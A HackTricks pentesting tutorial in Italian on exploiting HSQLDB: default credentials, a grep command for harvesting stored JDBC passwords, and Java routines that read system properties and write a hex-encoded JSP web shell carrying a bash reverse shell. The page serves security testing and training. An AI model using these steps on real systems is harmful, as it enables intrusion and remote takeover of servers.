hacktricks/src/network-services-pentesting/9001-pentesting-hsqldb.md

70 lines
3.3 KiB
Markdown

# 9001 - Pentesting HSQLDB
{{#include ../banners/hacktricks-training.md}}
## Informazioni di base
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** è il principale sistema di database relazionali SQL scritto in Java. Offre un motore di database multithread e transazionale, piccolo e veloce, con tabelle in memoria e su disco e supporta modalità incorporate e server.
**Porta predefinita:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
## Impostazioni Predefinite
Nota che per impostazione predefinita questo servizio è probabilmente in esecuzione in memoria o è legato a localhost. Se lo hai trovato, probabilmente hai sfruttato un altro servizio e stai cercando di elevare i privilegi.
Le credenziali predefinite sono di solito `sa` con una password vuota.
Se hai sfruttato un altro servizio, cerca possibili credenziali usando
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Nota attentamente il nome del database - ne avrai bisogno per connetterti.
## Raccolta Informazioni
Connettiti all'istanza del DB scaricando [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) ed estraendo `hsqldb/lib/hsqldb.jar`. Esegui l'app GUI \(eww\) usando `java -jar hsqldb.jar` e connettiti all'istanza utilizzando le credenziali scoperte/deboli.
Nota che l'URL di connessione avrà un aspetto simile a questo per un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
## Trucchi
### Routine del Linguaggio Java
Possiamo chiamare metodi statici di una classe Java da HSQLDB utilizzando Routine del Linguaggio Java. Nota che la classe chiamata deve essere nel classpath dell'applicazione.
Le JRT possono essere `funzioni` o `procedure`. Le funzioni possono essere chiamate tramite istruzioni SQL se il metodo Java restituisce una o più variabili primitive compatibili con SQL. Vengono invocate utilizzando l'istruzione `VALUES`.
Se il metodo Java che vogliamo chiamare restituisce void, dobbiamo usare una procedura invocata con l'istruzione `CALL`.
### Lettura delle Proprietà di Sistema Java
Crea funzione:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
Esegui funzione:
```text
VALUES(getsystemproperty('user.name'))
```
Puoi trovare un [elenco delle proprietà di sistema qui](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
### Scrivere contenuto su file
Puoi utilizzare il `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` gadget Java situato nel JDK \(caricato automaticamente nel class path dell'applicazione\) per scrivere elementi codificati in esadecimale su disco tramite una procedura personalizzata. **Nota la dimensione massima di 1024 byte**.
Crea procedura:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Esegui procedura:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
{{#include ../banners/hacktricks-training.md}}